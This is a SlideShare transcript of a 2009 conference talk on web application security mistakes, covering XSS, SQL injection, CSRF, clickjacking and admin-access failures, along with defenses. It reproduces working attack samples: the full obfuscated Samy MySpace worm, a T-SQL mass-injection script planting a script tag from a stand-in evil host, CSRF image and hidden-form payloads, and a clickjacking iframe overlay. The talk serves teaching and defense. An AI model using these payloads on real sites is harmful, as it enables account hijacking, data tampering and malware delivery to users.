Web App Security
                          Horror Stories



                          Simon Willison, 6th March 2009


Sa...
This talk is about
                    learning from other
                     people’s mistakes


Saturday, 7 March 2009
XSS
                         (cross site scripting)




Saturday, 7 March 2009
Rule one:

                 Never let anyone
              inject their JavaScript
                  in to your page


Sat...
If you have an XSS hole, I can

          • Steal your users’ cookies and log in as them
          • Embed malware and dri...
http://www.flickr.com/photos/tammets/2116105196/
Saturday, 7 March 2009
<div id=mycode style=quot;BACKGROUND: url('java
script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCh...
samy is my hero
                           http://namb.la/popular/




Saturday, 7 March 2009
MySpace customisation
             was “kind of a mistake”
                         http://bit.ly/myspace-mistake




Satu...
A social network worm

           • When you viewed Samy’s profile...
            • JS makes you add him as a friend
      ...
4th October 2005
   12:34 pm: You have 73 friends
   I decided to release my little popularity program. I'm going
   to be...
4th October 2005
   12:34 pm: You have 73 friends
   I decided to release my little popularity program. I'm going
   to be...
4th October 2005
   12:34 pm: You have 73 friends
   I decided to release my little popularity program. I'm going
   to be...
4th October 2005
   12:34 pm: You have 73 friends
   I decided to release my little popularity program. I'm going
   to be...
20 hours, 1,005,831
                    friend requests
                         (then MySpace crashed)




Saturday, 7 Ma...
Google’s UTF-7 hole

Saturday, 7 March 2009
The UTF-7 hole

               • Google’s 404 pages didn't specify a charset
               • IE inspected the first 4096 b...
You can’t trust CSS either
      • HTC in IE and XBL in Mozilla are both vectors for
            JavaScript attacks


    ...
SQL injection



Saturday, 7 March 2009
Inexcusable.
                    Use paramaterised
                    queries, or an ORM


Saturday, 7 March 2009
If you’re gluing SQL
                 together using string
                        appends




Saturday, 7 March 2009
Bad (even though it's secure):

           $sql = quot;select * from users where nick = 'quot;
            . mysql_real_es...
Mass XSS via SQL injection
              DECLARE @T varchar(255), @C varchar(255);
              DECLARE Table_Cursor CURS...
CSRF



Saturday, 7 March 2009
“We’ve found CSRF
             vulnerabilities in sites that have a
               huge incentive to do security
         ...
Ever see a link like this?


   <a href=quot;http://app.example.com/delete.php?id=1quot;>Delete</a>




Saturday, 7 March ...
Now what if I do this:
        <img src=quot;http://app.example.com/delete.php?id=1quot;>
        <img src=quot;http://app...
POST will not save you
       <form action=quot;http://app.example.com/delete.phpquot;
        method=quot;POSTquot;>
    ...
Or submit with JavaScript
   <div style=quot;display: nonequot;>
   <form action=quot;http://app.example.com/delete.phpquo...
The Digg exploit


               • A few years ago, Digg had no CSRF
                     protection on their “digg this”...
The Gmail filter hack
             http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
Saturday, 7 March 2...
“We believe this is the first CSRF
                vulnerability to allow the transfer of funds
                       from...
Preventing CSRF
               • You need to distinguish between form
                     interactions from your user on ...
Crumbs
   <form action=quot;http://app.example.com/delete.phpquot;
    method=quot;POSTquot;>
    <input type=quot;hiddenq...
Protecting the crumb

               • Your crumb is now the only thing protecting
                     you from CSRF atta...
Login CSRF



Saturday, 7 March 2009
Use CSRF to force a user
      to sign in to an account
       you have created on a
             trusted site

Saturday, ...
... and wait for them to
        add private information,
            such as their credit
               card details

Sa...
Clickjacking



Saturday, 7 March 2009
Saturday, 7 March 2009
iframe
                                  !

Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
<style type=quot;text/cssquot;>
     iframe {
       width: 400px;
       height: 200px;
       position: absolute;
      ...
Clickjacking protection

               • Frame busting JavaScript
                • <iframe security=quot;restrictedquot;...
Saturday, 7 March 2009
Saturday, 7 March 2009
Anti click-jacki
                                         ng




Saturday, 7 March 2009
Admin access
                         horror stories


Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
Saturday, 7 March 2009
How did they do it?




           They guessed the URL
Saturday, 7 March 2009
The Twitter hack

               • A bored teenager ran a brute force
                     attack against a popular Twitte...
Saturday, 7 March 2009
Keep admin accounts
             separate from regular
                user accounts


Saturday, 7 March 2009
crossdomain.xml
          <cross-domain-policy>
              <allow-access-from domain=quot;*quot; />
          </cross-d...
crossdomain.xml
          <cross-domain-policy>
              <allow-access-from domain=quot;*quot; />
          </cross-d...
YouTube/Gmail combo attack!
       <allow-access-from domain=quot;*.google.comquot; />

      1. Attacker emails a special...
No matter how hard you try, you
            can’t secure your site 100%
                There’s always a chance a
        ...
... and 70% of users will give
          their password to a stranger in
         exchange for a bar of chocolate
        ...
Thank you!



Saturday, 7 March 2009
http://simonwillison.net/tags/xss/

       http://simonwillison.net/tags/csrf/

       http://simonwillison.net/tags/login...
Upcoming SlideShare
Loading in...5
×

Web App Security Horror Stories

18,619

Published on

Presented at FOWA Dublin on 6th March 2009.

Published in: Technology
1 Comment
28 Likes
Statistics
Notes
No Downloads
Views
Total Views
18,619
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
347
Comments
1
Likes
28
Embeds 0
No embeds

No notes for slide

Web App Security Horror Stories

  1. 1. Web App Security Horror Stories Simon Willison, 6th March 2009 Saturday, 7 March 2009
  2. 2. This talk is about learning from other people’s mistakes Saturday, 7 March 2009
  3. 3. XSS (cross site scripting) Saturday, 7 March 2009
  4. 4. Rule one: Never let anyone inject their JavaScript in to your page Saturday, 7 March 2009
  5. 5. If you have an XSS hole, I can • Steal your users’ cookies and log in as them • Embed malware and drive-by downloads • Show a fake phishing login page on your site • Perform any action as if I was your user Saturday, 7 March 2009
  6. 6. http://www.flickr.com/photos/tammets/2116105196/ Saturday, 7 March 2009
  7. 7. <div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e) {}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU) {M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O+ +){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http:// www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST') {J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content- Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A +'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE +'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+ 'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=' heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit'; AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L, processxForm,'GET')}function processxForm() {if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm??useaction=invite.addFriendsProcess&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST') {xmlhttp2.setRequestHeader('Content-Type','application/x-www-form- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV> Saturday, 7 March 2009
  8. 8. samy is my hero http://namb.la/popular/ Saturday, 7 March 2009
  9. 9. MySpace customisation was “kind of a mistake” http://bit.ly/myspace-mistake Saturday, 7 March 2009
  10. 10. A social network worm • When you viewed Samy’s profile... • JS makes you add him as a friend • JS uses XMLHttpRequest to add his exploit to YOUR profile as well Saturday, 7 March 2009
  11. 11. 4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009
  12. 12. 4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009
  13. 13. 4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009
  14. 14. 4th October 2005 12:34 pm: You have 73 friends I decided to release my little popularity program. I'm going to be famous... among my friends. 1:30 am: You have 73 friends and 1 friend request One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests Oh wait, it's exponential, isn't it. Shit. Saturday, 7 March 2009
  15. 15. 20 hours, 1,005,831 friend requests (then MySpace crashed) Saturday, 7 March 2009
  16. 16. Google’s UTF-7 hole Saturday, 7 March 2009
  17. 17. The UTF-7 hole • Google’s 404 pages didn't specify a charset • IE inspected the first 4096 bytes to “guess” the encoding of the page • UTF-7 XSS attacks slipped through Google's XSS filters but were executed by IE http://shiflett.org/blog/2005/dec/googles-xss-vulnerability Saturday, 7 March 2009
  18. 18. You can’t trust CSS either • HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks • A “position: absolute” hack was used to steal 30,000 MySpace passwords last year http://community.livejournal.com/lj_dev/708069.html http://www.securiteam.com/securitynews/6O00M0AHFW.html Saturday, 7 March 2009
  19. 19. SQL injection Saturday, 7 March 2009
  20. 20. Inexcusable. Use paramaterised queries, or an ORM Saturday, 7 March 2009
  21. 21. If you’re gluing SQL together using string appends Saturday, 7 March 2009
  22. 22. Bad (even though it's secure): $sql = quot;select * from users where nick = 'quot; . mysql_real_escape_string($username) . quot;'quot;; Good: $sql = build_query( quot;select * from users where nick = ?quot;, $nick ); Saturday, 7 March 2009
  23. 23. Mass XSS via SQL injection DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; http://hackademix.net/2008/04/26/mass-attack-faq/ Saturday, 7 March 2009
  24. 24. CSRF Saturday, 7 March 2009
  25. 25. “We’ve found CSRF vulnerabilities in sites that have a huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically protected against CSRF, chances are you’re vulnerable” - Bill Zeller Saturday, 7 March 2009
  26. 26. Ever see a link like this? <a href=quot;http://app.example.com/delete.php?id=1quot;>Delete</a> Saturday, 7 March 2009
  27. 27. Now what if I do this: <img src=quot;http://app.example.com/delete.php?id=1quot;> <img src=quot;http://app.example.com/delete.php?id=2quot;> <img src=quot;http://app.example.com/delete.php?id=3quot;> <img src=quot;http://app.example.com/delete.php?id=4quot;> <img src=quot;http://app.example.com/delete.php?id=5quot;> ... and trick you in to visiting my site? Saturday, 7 March 2009
  28. 28. POST will not save you <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> <input type=quot;submitquot; value=quot;More kittens please!quot;> </form> http://www.flickr.com/photos/fofurasfelinas/9724483/ Saturday, 7 March 2009
  29. 29. Or submit with JavaScript <div style=quot;display: nonequot;> <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> </form> </div> <script>document.forms[0].submit()</script> Saturday, 7 March 2009
  30. 30. The Digg exploit • A few years ago, Digg had no CSRF protection on their “digg this” button • The result: self-digging pages! http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/ Saturday, 7 March 2009
  31. 31. The Gmail filter hack http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/ Saturday, 7 March 2009
  32. 32. “We believe this is the first CSRF vulnerability to allow the transfer of funds from a financial institution.” http://www.freedom-to-tinker.com/blog/wzeller/ popular-websites-vulnerable-cross-site-request-forgery-attacks Saturday, 7 March 2009
  33. 33. Preventing CSRF • You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site • Referrer checking is notoriously unreliable • Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site Saturday, 7 March 2009
  34. 34. Crumbs <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;37quot;> <input type=quot;hiddenquot; name=quot;crumbquot; value=quot;856c2f50ddc49fd710f14a406ec1fef652d3c9fquot;> <input type=quot;submitquot; value=quot;Delete this itemquot;> </form> Saturday, 7 March 2009
  35. 35. Protecting the crumb • Your crumb is now the only thing protecting you from CSRF attacks • This is why XSS is such a big deal • With XSS, I can steal your crumb and run riot across your site • XSS holes are automatically CSRF holes Saturday, 7 March 2009
  36. 36. Login CSRF Saturday, 7 March 2009
  37. 37. Use CSRF to force a user to sign in to an account you have created on a trusted site Saturday, 7 March 2009
  38. 38. ... and wait for them to add private information, such as their credit card details Saturday, 7 March 2009
  39. 39. Clickjacking Saturday, 7 March 2009
  40. 40. Saturday, 7 March 2009
  41. 41. iframe ! Saturday, 7 March 2009
  42. 42. Saturday, 7 March 2009
  43. 43. Saturday, 7 March 2009
  44. 44. Saturday, 7 March 2009
  45. 45. Saturday, 7 March 2009
  46. 46. Saturday, 7 March 2009
  47. 47. <style type=quot;text/cssquot;> iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0; } #decoy { ... } </style> <iframe src=quot;http://veryimportantapp.com/delete-account/quot;> </iframe> <p id=quot;decoyquot;>Click HERE for kittens!</p> Saturday, 7 March 2009
  48. 48. Clickjacking protection • Frame busting JavaScript • <iframe security=quot;restrictedquot;> in IE • quot;X-FRAME-OPTIONS: DENYquot; in IE 8 • The NoScript extension for Firefox Saturday, 7 March 2009
  49. 49. Saturday, 7 March 2009
  50. 50. Saturday, 7 March 2009
  51. 51. Anti click-jacki ng Saturday, 7 March 2009
  52. 52. Admin access horror stories Saturday, 7 March 2009
  53. 53. Saturday, 7 March 2009
  54. 54. Saturday, 7 March 2009
  55. 55. Saturday, 7 March 2009
  56. 56. How did they do it? They guessed the URL Saturday, 7 March 2009
  57. 57. The Twitter hack • A bored teenager ran a brute force attack against a popular Twitter user • quot;happinessquot; is a dictionary word • She happened to be Twitter staff, with admin access Saturday, 7 March 2009
  58. 58. Saturday, 7 March 2009
  59. 59. Keep admin accounts separate from regular user accounts Saturday, 7 March 2009
  60. 60. crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs Flash can even fake an X-Requested-With: XMLHttpRequest header That’s why Flickr use api.flickr.com/crossdomain.xml instead Saturday, 7 March 2009
  61. 61. crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs That’s why Flickr use api.flickr.com/crossdomain.xml instead Saturday, 7 March 2009
  62. 62. YouTube/Gmail combo attack! <allow-access-from domain=quot;*.google.comquot; /> 1. Attacker emails a special SWF to a Gmail account they control and locates the attachment download URL on google.com 2. Logged-in YouTube user visits an attacker controlled page 3. Attacker forces their victim to authenticate to the attackers Gmail account (using login CSRF) 4. Attacker embeds SWF from the Gmail account into the web page 5. Attacker now has read write access on YouTube.com as the victim’s account http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html Saturday, 7 March 2009
  63. 63. No matter how hard you try, you can’t secure your site 100% There’s always a chance a browser, plugin or compromised client machine will screw everything up anyway Saturday, 7 March 2009
  64. 64. ... and 70% of users will give their password to a stranger in exchange for a bar of chocolate http://news.bbc.co.uk/1/hi/technology/3639679.stm Saturday, 7 March 2009
  65. 65. Thank you! Saturday, 7 March 2009
  66. 66. http://simonwillison.net/tags/xss/ http://simonwillison.net/tags/csrf/ http://simonwillison.net/tags/logincsrf/ http://simonwillison.net/tags/security/ Title photo: http://www.flickr.com/photos/jalex_photo/1680862003/ Saturday, 7 March 2009
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×